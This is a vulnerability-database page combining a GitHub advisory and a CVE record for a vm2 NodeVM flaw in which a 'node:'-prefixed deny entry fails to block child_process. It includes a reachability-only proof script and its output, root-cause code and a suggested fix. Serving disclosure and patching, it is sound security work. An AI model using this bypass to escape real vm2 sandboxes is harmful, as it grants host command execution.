Vulnerability-Lookup

GHSA-8686-VHFX-7R3J

Vulnerability from github – Published: 2026-10-01 15:36 – Updated: 2026-10-01 15:36

Summary

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

Details

Summary

NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.

As a result, this configuration:

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.

The safe proof below only checks module and function reachability. It does not execute any OS command.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').

Affected Files / Functions

lib/builtin.js
makeBuiltinsFromLegacyOptions
wildcard builtin expansion
exact negative entry check: builtins.indexOf(\-${name}`)`
addDefaultBuiltin
lib/resolver.js
Resolver.resolve
lib/setup-node-sandbox.js
requireImpl
node: prefix stripping before builtin load

Root Cause

lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:

if (localStringPrototypeStartsWith(filename, 'node:')) {
  id = localStringPrototypeSlice(filename, 5);
  let nmod = cacheBuiltins[id];
  if (!nmod) {
    nmod = loadBuiltinModule(id);
    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
    cacheBuiltins[id] = nmod;
  }
  return nmod;
}

But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.

Security Boundary Crossed

Sandboxed code reaches a host builtin that the embedder attempted to deny.

Boundary crossed:

sandbox -> host child_process builtin
sandbox -> host process-spawning function references

Impact

Confirmed impact:

require('child_process') succeeds inside the sandbox.
require('node:child_process') succeeds inside the sandbox.
The returned module exposes execSync and spawn as functions.

Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.

The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.

'use strict';

const { NodeVM } = require('./');

function probe(builtin) {
  const vm = new NodeVM({
    require: {
      builtin
    }
  });

  return vm.run(`
    const out = {};

    for (const spec of ['child_process', 'node:child_process']) {
      try {
        const cp = require(spec);
        out[spec] = {
          loaded: true,
          execSyncType: typeof cp.execSync,
          spawnType: typeof cp.spawn,
          moduleToStringTag: Object.prototype.toString.call(cp)
        };
      } catch (e) {
        out[spec] = {
          loaded: false,
          name: e && e.name,
          code: e && e.code,
          message: e && e.message
        };
      }
    }

    module.exports = out;
  `);
}

console.log(JSON.stringify({
  nodeVersion: process.version,
  denyNodePrefixed: probe(['*', '-node:child_process']),
  denyCanonical: probe(['*', '-child_process'])
}, null, 2));

Observed result:

{
  "nodeVersion": "v24.14.0",
  "denyNodePrefixed": {
    "child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    },
    "node:child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    }
  },
  "denyCanonical": {
    "child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'child_process'"
    },
    "node:child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'node:child_process'"
    }
  }
}

Expected Secure Behavior

-node:child_process and -child_process should be equivalent.

If either spelling is denied, both of these should fail:

require('child_process')
require('node:child_process')

Suggested Fix

Canonicalize builtin names before allow/deny comparison:
Strip node: from user-provided builtin entries.
Preserve whether an entry is negative (-...) before canonicalizing.
Store and compare one canonical builtin key.
Apply the same normalization to:
wildcard negative entries
explicit allowlist entries
object-form builtin entries
mock/override keys if they are intended to support node: spelling
Add regression tests:
builtin: ['*', '-node:child_process'] blocks child_process.
builtin: ['*', '-node:child_process'] blocks node:child_process.
builtin: ['*', '-node:fs'] blocks fs and node:fs.
builtin: ['*', '-node:fs/promises'] and -fs/promises behave consistently.
Canonical dangerous builtins remain denied even if explicitly requested with node: spelling.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:36:01Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nNodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.\n\nAs a result, this configuration:\n\n```js\nnew NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-node:child_process\u0027]\n  }\n});\n```\n\ndoes not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`.\n\nThe safe proof below only checks module and function reachability. It does not execute any OS command.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: [\u0027*\u0027, \u0027-node:child_process\u0027]\n  }\n});\n```\n\nThis affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require(\u0027node:child_process\u0027)` and `require(\u0027child_process\u0027)`.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `makeBuiltinsFromLegacyOptions`\n  - wildcard builtin expansion\n  - exact negative entry check: `builtins.indexOf(\\`-${name}\\`)`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n  - `node:` prefix stripping before builtin load\n\n## Root Cause\n\n`lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin:\n\n```js\nif (localStringPrototypeStartsWith(filename, \u0027node:\u0027)) {\n  id = localStringPrototypeSlice(filename, 5);\n  let nmod = cacheBuiltins[id];\n  if (!nmod) {\n    nmod = loadBuiltinModule(id);\n    if (!nmod) throw new VMError(`Cannot find module \u0027${filename}\u0027`, \u0027ENOTFOUND\u0027);\n    cacheBuiltins[id] = nmod;\n  }\n  return nmod;\n}\n```\n\nBut `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\n`BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin.\n\n## Security Boundary Crossed\n\nSandboxed code reaches a host builtin that the embedder attempted to deny.\n\nBoundary crossed:\n\n- sandbox -\u003e host `child_process` builtin\n- sandbox -\u003e host process-spawning function references\n\n## Impact\n\nConfirmed impact:\n\n- `require(\u0027child_process\u0027)` succeeds inside the sandbox.\n- `require(\u0027node:child_process\u0027)` succeeds inside the sandbox.\n- The returned module exposes `execSync` and `spawn` as functions.\n\nWorst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.\n\nThe proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.\n\n```js\n\u0027use strict\u0027;\n\nconst { NodeVM } = require(\u0027./\u0027);\n\nfunction probe(builtin) {\n  const vm = new NodeVM({\n    require: {\n      builtin\n    }\n  });\n\n  return vm.run(`\n    const out = {};\n\n    for (const spec of [\u0027child_process\u0027, \u0027node:child_process\u0027]) {\n      try {\n        const cp = require(spec);\n        out[spec] = {\n          loaded: true,\n          execSyncType: typeof cp.execSync,\n          spawnType: typeof cp.spawn,\n          moduleToStringTag: Object.prototype.toString.call(cp)\n        };\n      } catch (e) {\n        out[spec] = {\n          loaded: false,\n          name: e \u0026\u0026 e.name,\n          code: e \u0026\u0026 e.code,\n          message: e \u0026\u0026 e.message\n        };\n      }\n    }\n\n    module.exports = out;\n  `);\n}\n\nconsole.log(JSON.stringify({\n  nodeVersion: process.version,\n  denyNodePrefixed: probe([\u0027*\u0027, \u0027-node:child_process\u0027]),\n  denyCanonical: probe([\u0027*\u0027, \u0027-child_process\u0027])\n}, null, 2));\n```\n\nObserved result:\n\n```json\n{\n  \"nodeVersion\": \"v24.14.0\",\n  \"denyNodePrefixed\": {\n    \"child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    },\n    \"node:child_process\": {\n      \"loaded\": true,\n      \"execSyncType\": \"function\",\n      \"spawnType\": \"function\",\n      \"moduleToStringTag\": \"[object Object]\"\n    }\n  },\n  \"denyCanonical\": {\n    \"child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module \u0027child_process\u0027\"\n    },\n    \"node:child_process\": {\n      \"loaded\": false,\n      \"name\": \"VMError\",\n      \"code\": \"ENOTFOUND\",\n      \"message\": \"Cannot find module \u0027node:child_process\u0027\"\n    }\n  }\n}\n```\n\n## Expected Secure Behavior\n\n`-node:child_process` and `-child_process` should be equivalent.\n\nIf either spelling is denied, both of these should fail:\n\n```js\nrequire(\u0027child_process\u0027)\nrequire(\u0027node:child_process\u0027)\n```\n\n## Suggested Fix\n\n1. Canonicalize builtin names before allow/deny comparison:\n   - Strip `node:` from user-provided builtin entries.\n   - Preserve whether an entry is negative (`-...`) before canonicalizing.\n   - Store and compare one canonical builtin key.\n\n2. Apply the same normalization to:\n   - wildcard negative entries\n   - explicit allowlist entries\n   - object-form builtin entries\n   - mock/override keys if they are intended to support `node:` spelling\n\n3. Add regression tests:\n   - `builtin: [\u0027*\u0027, \u0027-node:child_process\u0027]` blocks `child_process`.\n   - `builtin: [\u0027*\u0027, \u0027-node:child_process\u0027]` blocks `node:child_process`.\n   - `builtin: [\u0027*\u0027, \u0027-node:fs\u0027]` blocks `fs` and `node:fs`.\n   - `builtin: [\u0027*\u0027, \u0027-node:fs/promises\u0027]` and `-fs/promises` behave consistently.\n   - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling.",
  "id": "GHSA-8686-vhfx-7r3j",
  "modified": "2026-10-01T15:36:01Z",
  "published": "2026-10-01T15:36:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92957"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process"
}

CVE-2026-92957 (GCVE-0-2026-92957)

Vulnerability from cvelistv5 – Published: 2026-09-17 13:46 – Updated: 2026-09-26 13:30

Title

vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix

Summary

vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

9.9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 17:24 UTC

CWE

CWE-269 - Improper Privilege Management

Assigner

VulnCheck mitre root Scorecard

References

2 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	vendor-advisory
https://www.vulncheck.com/advisories/vm2-before-3…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: 0 , < 3.11.7 (semver) Unaffected: 3.11.7 (semver)

Date Public

2026-08-24 00:00

Credits

nasaa0x sangnigege manus-use

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-92957",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T17:24:58.866510Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T17:25:19.354Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/vm2",
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "lessThan": "3.11.7",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.11.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "nasaa0x"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "sangnigege"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "manus-use"
        }
      ],
      "datePublic": "2026-08-24T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: [\u0027*\u0027, \u0027-node:child_process\u0027] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require(\u0027child_process\u0027)` or `require(\u0027node:child_process\u0027)`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-26T13:30:01.519Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-8686-vhfx-7r3j)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3j"
        },
        {
          "name": "VulnCheck Advisory: vm2 before 3.11.7 Authentication Bypass via node: Prefix",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefix"
        }
      ],
      "title": "vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-92957",
    "datePublished": "2026-09-17T13:46:14.875Z",
    "dateReserved": "2026-09-17T12:43:31.527Z",
    "dateUpdated": "2026-09-26T13:30:01.519Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-8686-VHFX-7R3J

Summary

Affected Mode

Affected Configuration

Affected Files / Functions

Root Cause

Security Boundary Crossed

Impact

Safe Local Reproduction

Expected Secure Behavior

Suggested Fix

CVE-2026-92957 (GCVE-0-2026-92957)

Tags

Sightings

Nomenclature

Related by attack behaviour